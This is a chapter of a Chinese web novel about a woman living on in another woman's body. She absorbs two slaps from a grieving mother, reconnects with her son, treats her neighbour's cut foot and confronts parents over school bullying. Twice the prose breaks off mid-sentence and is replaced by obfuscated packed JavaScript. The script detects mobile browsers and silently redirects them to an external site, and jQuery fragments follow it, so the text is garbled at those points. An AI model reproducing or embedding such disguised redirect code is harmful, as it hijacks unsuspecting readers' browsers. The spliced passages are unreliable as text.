李闻雯领着邱迩饥肠辘辘地踏进栅栏门,在瞧见临湖那桌的叶家人时,她开始确信她重新活过一回是有代价的,代价就是数不清的狗血巧合。 “我们要不然去刚刚路过的便利店买饭团吃。” 李闻雯立即转身推搡着邱迩要离开,但哪里来得及,因为其实并非她先看见的叶家人,是叶家人先看见的她——她尚未踏进那道只起个装饰作用的栅栏门,蒋莳就已经按捺不住勃发的怒意起身了。 “啪——”极响亮的一个耳光,震得满院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094386|163679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的食客都不由望向门口。 “啪——”又一个耳光,比先前的那个还要响亮。 李闻雯背着手把面色涨红的邱迩往门外推,忍着迅速圧满胸腔的愤怒和内心对原主的唾骂,放低姿态道:“可以了,有小孩在,请你稍微克制一下。” 李闻雯说完这句就觉得要遭,果然,蒋莳的胳膊抡得更圆了。李闻雯感觉自己似乎能听到巴掌的破空声,她上半身微微偏斜,反手在左脸极近处攥住了蒋莳皓白的手腕。 “我愿意在法律要求的范围里积极赔偿,也愿意受你这两个耳光,但是毕竟开车的不是我,”李闻雯转身瞧一眼一直推不出门去的邱迩,恳切道,“我们去别处吃饭,不在这里碍眼,你消消气。” 蒋莳振臂挥开李闻雯,字字诛心道:“开车的的确不是你,但怎么出的车祸你心里有数!你也好意思说‘有小孩在’,你跟情人在车里勾缠不清一脚油门要了别人命的时候怎么不提醒自己‘有小孩在’。” 满屋满院一直竖着耳朵的食客们纷纷投来震惊的目光,蒋莳只用一句话就透漏出多重信息,每一重都十分了不得,值得大家抵着脑袋窃窃私语及指指点点五分钟。 李闻雯被喷得灰头土脸的,只能讪讪向叶母鞠躬致歉。 邱迩在她身后也沉默不语鞠躬。 叶进跟许家人道别,从这出闹剧中穿过,漠然离去。 …… 汪润挥手赶走了不受欢迎的“程松悦”母子,领着蒋莳去湖边溜达着散心了。 叶景明吃饱喝足,瞧着许炼旁边的空位,开始数落叶进的各种不懂事。 一声不吭离家出走多次、对叶赫大打出手多次、故意交白卷令他们在家长会上蒙羞多次、挪用叶赫的零花钱购置3D打印机及其它乱七八糟的东西多次,以及得知奶奶去世在老宅门口用棒球棍砸碎了叶景明和蒋莳的车玻璃……但即便如此,在他决然搬出去以后,他们仍未放弃他,不是没有跟他道过歉服过软。 叶景明最后露出个“事已至此”的笑,说房子留给叶进,就当是他们当父母的尽的最后一点责任。 许父在一旁夹着青菜不走心地附和着,“是是,你说的是。” 许炼打断许父的附和,问:“那时候你们接他回来,他愿意吗?” 叶景明闻言无奈地皱眉,勉强回复这个在他看来毫无意义且早已过期的可笑问题,“这不是他愿不愿意的事儿,他爷爷奶奶年纪大了,顾不了他学习,而且那里的学校也不……” 许炼温声却固执地重复,“那时候他愿意吗?” 叶景明瞧许父一眼,长长吐出一口气,不做声了。 当然是不愿意的,叶进是被强拽上车一路哭着来的。他爷爷奶奶不忍,说要不然把狗也带走,那狗从出生就陪着他,一人一狗关系特别好。但那狗年纪大了,养不了多久了,而且他们住的地方遛狗也不太方便…… 许炼瞧着叶父的表情,心里又是一句脏话,他把筷子放下,眼前又是叶赫坐在叶进房间里红着眼眶的难过又为难的模样,他慢慢道:“啊,他不愿意啊。十岁的小孩,被强迫带离故土,他那样闹无可厚非。他奶奶去世,他却被瞒了将近一个月,他那样闹也无可厚非。” 叶景明被许炼这种轻描淡写的语气刺激到了,他悻悻道:“你说得倒轻巧,我跟你阿姨被他闹得都神经衰弱了,你不知道那是什么日子。” 许炼惊讶道:“可是当父母本来就不是件轻松的差事,不然我跟我女朋友也不至于丁克,因为我们早早就非常清楚我们自己爱心有限、耐心有限、责任心也有限。” 许炼在长辈面前一直进退有度,但这回实在是恼了,三个“有限”刻意说得又慢又重。 许父用店员夹来的热毛巾擦着手,给了许炼警告的一瞥,叱责他“你说话有没有点分寸”,转头又跟叶景明说,“你不用搭理他,他们年轻人都是靠‘想当然’过日子的”。 叶景明无话可说,只能付之一笑。 12.两个巴掌就是力所能及的 1. 李闻雯携邱迩最终去便利店里选了几盒关东煮和一根老冰棍,在湖边的小凉亭里解决的午餐。 “以前也没少给你丢人吧。”李闻雯垂眼望着邱迩感慨道。 邱迩没听到她说什么,只直着眼睛盯着她肿胀的脸颊发呆。 李闻雯此刻心里已经缓过来了,唯剩脸火辣辣的,她用老冰棍散漫地给自己做着冷敷,还有余裕跟邱迩开玩笑,“做错了就得挨打,这是我手把手教你的第一课。” 邱迩收回目光低头挑了串鱼肠吃。 李闻雯见他不搭腔,转而道:“我联系你们班主任了,请她下周协调一下那几个同学家长的时间,大家见个面。” 邱迩一愣,反应突然变得激烈,“为什么要叫家长,不行,你快点给老师打电话说取消。” 李闻雯贴着老冰棍静静望着炸毛的邱迩。她前不久跟邱迩的班主任做了个非常真诚的沟通,她开头就主动说起了车祸不记事了,又直言不讳自己之前做妈妈似乎做得有些荒唐。邱迩的班主任被她的态度所感染,便也多说了几句,大概意思就是程松悦做的一些事情,邱迩同学的家长也略有耳闻,因此一些闲言碎语也不可避免会飘到小孩子的耳朵眼儿里。所以她前面那句其实不是个疑问句,是个感叹句。程松悦是真的没少给邱迩丢人。 邱迩见她不为所动,愈发着急,甚至直接动手去翻李闻雯的外套口袋,“你快点把手机拿出来,烦死了,谁让你这么做的。” 李闻雯不紧不慢撕开老冰棍的包装纸,将小了一圈的雪糕塞到了邱迩嘴里,她用非常真诚的语气缓缓道:“上回柜员那个事儿,我去道过歉了,后来又去那个商场买东西,绕道去了一趟。以后其它我做错的事情也都会一一道歉,你不要把我藏起来吧。” 邱迩愣住,茫然不知所措,片刻,低头把刚翻出的手机又给她塞到了口袋里。 …… 停车场建在半山腰,而半山腰至山顶的路并不近,其中有一段路几乎全是台阶,李闻雯没数,但三千级打底。如此上山下山近四小时,又赶在下班高峰期堵一程低速往前蹭一程驾车近四个小时,再猝不及防被通知公寓电梯不能用了,李闻雯叉腰站在楼梯口,有十几句不重样的脏话从胸腔翻滚着涨至青黑色的印堂。 “你在前面上楼不要回头,我要在后面哭唧唧上楼……”李闻雯又后悔又无奈,“早知道租那个二楼的房子了,夏天还能在客厅露台上看到一树绿叶。” “你当时说树上的虫子会掉到露台上爬进家里。”邱迩一板一眼重复她当时的说辞。 楼梯间里的光源来自拐角平台的窗口,此刻光线有些昏暗,但仍没到开灯的地步。两人一层一层往上走着,前四层还能聊两句,后面楼层就没声儿了,只剩下呼哧呼哧的喘息。 邱迩保持着与“程松悦”三四层台阶的距离,时不时回头催促她“你走快点”、“不要歇了”、“就快到了”,然后目视上方台阶嘴角忍不住勾起。 李闻雯握拳抵着腰部,琢磨着得研究一下附近的晨跑路线了,最近的确有些懈怠了,三十二岁和二十六岁身体素质的耐造性真是不同。 两人越过七楼,刚向八楼迈出三个台阶,一声非常清脆的玻璃碎响从防火门外传来,李闻雯身形一顿,与刚好又回头催她的邱迩面面相觑。 ——邱迩原本不知道楼下住着谁,但是刚刚他们开车驶入负一层时,恰巧看到叶进下车离开。李闻雯索性跟邱迩说明了叶进就住在他们楼下这件事儿。 邱迩只当没听到那不同寻常的动静,催着李闻雯道:“我饿了,我们上去吧。” 李闻雯心不在焉应了一声,但往上迈了两阶又停下。她突然想起她刚醒来时两个交警在她病房门口聊的几句闲天儿了。那时医生正在病房里给她做检查,因为需要掀开衣服,他们被要求先在门外等着。 “小儿子跟父母不和,高中毕业就从家里搬出来了,大儿子是去小儿子公寓的路上出的事儿。他父母跟疯了似的怨他,说不搬出来就没这事儿了,在事故现场就给了小儿子一个耳光,小赵去拦也被他妈那胳膊肘捣了一下。” “虽然但是,怎么能把过错推到‘不搬出来就没事儿了’,‘跟父母不和搬出来’这件事儿说起来也有父母的错吧。” …… 李闻雯用食指指关节敲了敲邱迩的后背,吩咐他,“你先上去把热水器打开,再把我昨晚晾的衣服收回来”,转身迅速下楼。 …… 叶进瞧着自己迅速被血染红的脚面,突然心动过速、剧烈反胃,难受到几乎站不稳,他反手向后抵着墙面,脑袋不着力地自然垂落,片刻,缓过了神。 叶赫的鱼缸碎了,在他并没有碰到到它的情况下,没有任何预兆。 叶进俯身拾起那两条在玄关架下焦急摆尾的小金鱼,跛着脚将它们送至浴室的广口花瓶里安置。他脚背上扎着两块玻璃,均是瓶盖大小,一个深一些,一个浅一些,血从玄关架前一直滴到浴室。在此期间,门铃响了,他听到楼上的邻居问他在不在家,“借醋”。 …… “借醋”这个临时想的拙劣的借口成功帮助李闻雯敲开了叶进的门。 叶进是微架着脚斜靠在玄关柜上给开的门,因此李闻雯当先便看到地板上一来一回两道血迹,她的目光顺着那两道血迹游走,最后收在近前。 叶进的脚就如他的手似的,皮肤细嫩、骨型明显、筋肉分明、充满人体结构学的美感。但如今这脚上却扎着刺目的玻璃碎片,而他本人像是没什么痛感,站在一地玻璃碎片里,不耐烦地望着她。 叶进握着门把手,冷冷道:“我们不是可以借醋的邻里关系,以后不要再来敲我的门。” 李闻雯感觉这是自己二十来年里碰过的最硬的硬钉子了,她顿了顿,露出丧丧的可怜示好相,“我们可以是的吧。全世界只有你知道我的秘密,要是哪天我消失了,也只有你记得我这段经历。” 叶进垂目不为所动,“你可以回你自己家。” 李闻雯温声解释:“我要是再‘去世’一回,他们承受不住。我现在只能以李闻雯一般朋友的身份回去,而且还不能经常回去。” 叶进仍握着门把手,却一时不知道再要如何拒绝,索性直接关门。 李闻雯温和好商量的声音从即将合拢的门缝里传来,“你要是烦我,那我帮你叫120?” “哐啷——”门被一把扯开,叶进的声音里掺杂了怒意,“你到底想干什么?” 李闻雯抓了抓后脑勺的碎卷,嘴角裂开,显得无辜又可怜。 …… 叶进自己家就备有医疗箱,可以简单地消毒和包扎。李闻雯蹲在叶进膝前龇牙咧嘴瞧着他给自己上药,时不时蹦出一句“血止不住啊”、“要不然去医院吧”、“去路口的诊所也行啊”……叶进不搭理她,寒着脸第三遍上药,这回药粉终于没有被冲开,血止住了。 “你是进门的时候碰到鱼缸了?”李闻雯小心地问。 叶进在伤口上各覆了三层纱布,平声道,“他自己碎的,我没有碰到它,”他说到这里,动作一顿,神情变得有些迷茫,“但为什么,我没有碰到它,它一直在那儿好好放着,放这么久都没出问题。” 李闻雯曾听前辈说过一个类似的鱼缸伤人的案例,此处便用上了,道:“那有可能是鱼缸玻璃本身质量差,或者是制造过程中胶没有打好,又或者是鱼缸没有放平,底部受力不均。” ——总之原因很物理,与叶进下意识的唯心主义揣测没有关系。 几个小时过去了,李闻雯的脸颊仍然能明显看出指印,但她此刻仿佛全然忘记了那两个巴掌,她盯着他压好纱布,然后小心地将早就剪好的医用胶带避开他的手指交叉压到纱布上。 叶进一向不怎么关注别人,所以不大记人,一般要见过两三面才能有些印象,但此刻低头瞧着“程松悦”,大脑里李闻雯的长相却十分清晰,小脸窄面,明媚杏眼,眉宇间平和柔美,嘴角自然微勾,是非常典型的文静美好的女生形象。 “你没有必要替她挨打。”叶进突然出声。 “叮——”邱迩传来一条信息,“水开了”,她回了个“收到”的EMOJI动图。 “啊,没事儿,早就不疼了,”李闻雯回应叶进,她想了想,又说,“我占了她的身体,不管她愿不愿意补救,现在她都补救不了了,那我就先做些力所能及的吧。” 当前,两个巴掌就是力所能及的——但再多不行,离开前顺手帮叶进把地板上的碎玻璃收起来水吸一下也是力所能及的。 “如果你能这样存在,他是不是也……” “不要这样,叶进。” 2. 十二月三十一日,周五,天降初雪。李闻雯在邱迩不安的凝视中,与班主任聊着这场骤降的初雪跨入教导主任办公室,与其它几位同学的家长见面。 ——这场见面从周一推到周二,又从周二推到周四,最后在周五得以实现。 李闻雯并没有期待事情进行得能有多顺利,因为以她以前工作的经验来看,几乎没有家长会痛快承认自己家的小孩有可能欺负别人,即便真有些不和谐的事件,也“肯定”是所谓被欺负的那个小孩先做了什么让人讨厌的……但是事情还是过于不顺利了。 “真是莫名其妙,真觉得被欺负了就报警吧,就是互相推搡几下,成个事儿了!” “是啊,相较之下,她前不久上的那个绿瓣热搜对小孩的伤害更大吧!啧,要没今天这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096433|163679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,我还忘了跟我儿子说,上梁不正下梁歪,以后不要跟她家小孩往来。” “我全勤奖又泡汤了!就差最后这天了!我真是生了个祖宗啊!” “李主任,这种上等人的矜贵小孩真的不能转学吗?以后他要是在学校里有个磕磕碰碰咱们学校也赔不起啊!” …… 邱迩的班主任姓高,二十五六的样子,小高老师参加工作的时间不够长,还没被糟践出班主任特有的“灭绝师太”的气质。 小高老师领着“程松悦”进门,把最后那几句听了个清清楚楚,她尴尬地咳嗽一声,意在提醒那几位隔墙有耳谨言慎行,但几位怨声载道的家长中只有一位转过来,不咸不淡地招呼了她一声“小高老师来了”。 李闻雯从小高老师身后走出来,直面几位家长的恶意和怨念。她默不作声淡淡望着他们,半晌,轻扯了扯唇,平声道:“虽然只是推搡,但一对一没问题,多对一极有可能是什么情况,大家都是从学生过来的,就不要轻描淡写……自欺欺人、装聋作哑了。” 李闻雯实在是火冒三丈,嫌用“轻描淡写”形容他们眼下的行径太轻描淡写,又给他们补了两个,跟个批发成语的似的。 “另外,我只是借着冬令营时的推搡,请高老师帮忙叫家长,但实际上可能并不只是推搡。邱迩半个月前和两个月前都曾带伤回家,但不肯说到底发生了什么……”李闻雯说到这里,微妙地停了停,“我此刻在猜的,我想你们也在猜,你们的小孩在家不可能什么都没说过。” 李闻雯有条不紊的语速和冷静沉着的表情唬得几位家长一时无话。 “喂!你是警察?现在是靠着你的猜测就能断案?”其中一个家长突然反应过来,大声发牢骚,“可真行!那你报警把他们抓起来吧!” 教导主任和小高老师在一旁苦口婆心“消消气,先消消气”。 李闻雯给了那位家长一个凌厉的瞪视,她听出来了,这是先前那位大声说“上梁不正下梁歪”的家长。 “怪我当时考虑不周,我问不出来的,警察未必也问不出来,下回我会直接报警。现在《行政处罚法》有新的补充条款,霸凌案的主要施暴者,即便未满十二岁,也需要承担责任,虽然应该不至于收押,但记录到学籍档案里肯定是基操,谢谢你的建议,醍醐灌顶。” 小高老师几乎是用赞叹的目光在仰望“程松悦”,她现在不得不承认邱迩说的那句“她脑子坏了”是有一定的道理的。她以前也与“程松悦”这位家长接触过,这位“日理万机”的家长对儿子的不上心程度令人发指。但车祸“不记事”后,“程松悦”整个人从言谈举止到思维逻辑完全变了个模样。 就举例这同样的一件事,大约三个多月前,小高老师给“程松悦”去过一个电话,说邱迩跟一些同学似乎有些矛盾,她问不出来,请“程松悦”在家也问问。程松悦当时的回复是,他说没事儿就是没事儿,小高老师费心了,我这里有张京东购物卡…… …… 李闻雯的一席话实在不怎么客气,直接点明了“霸凌”,几位家长纷纷炸毛。 教导主任反手敲着桌子“哎哎”警告不顶用,后腰离开桌子站直了,用将近一米九的身高将双方隔离开来。 教导主任推心置腹道:“大伙儿消消气,这没必要,大伙儿既然都疼自己的小孩,不愿意他被伤害,那么咱们彼此就不是敌对的。” 高老师及时支援,温和道:“各位家长,我们是来解决问题的,如果确实没有问题,那么我们就是来解决隐患的。主任说的对,我们彼此不是敌对的,不如先收起成见一起聊聊。他们这群小孩再有半年就毕业分开了,但分开以后各自都还有很长的路要走。” 教导主任和高老师都太会说话了,态度柔和又坚定,寥寥几句,就将大伙儿的情绪压下来了。 …… 邱迩不清楚“程松悦”是怎么跟那些家长沟通的,总之自那以后,那几位同学虽然仍看他不顺眼,却不再呼朋引伴找茬儿跟他动手了,最多就是课间或课后追着他故意发出几声怪腔怪调。不过这个他倒是并不在乎,因为那些刻意拉长声音的“呦——”虽然是在侮辱他,但也同时使他们看起来宛如一群需要被特别关爱的智障少年。 ——邱迩刚刚读完《苏菲的世界》,最近又在读《从惊奇开始》,这些哲学启蒙读物给这个从儿童向少年过度的小男生打开了新世界的大门,虽然书里有太多的章节,他仍不解深意,但已经懵懵懂懂开始尝试从新的视角看待自己身边的一切。 邱迩戴着耳机在“智障”少年们的起哄声里走出校门,他嘴唇微动复述着耳机里的英文,路过氢气球、水果车、奶茶店、卤煮摊儿……沾染着一身廉价却令人踏实的烟火气回家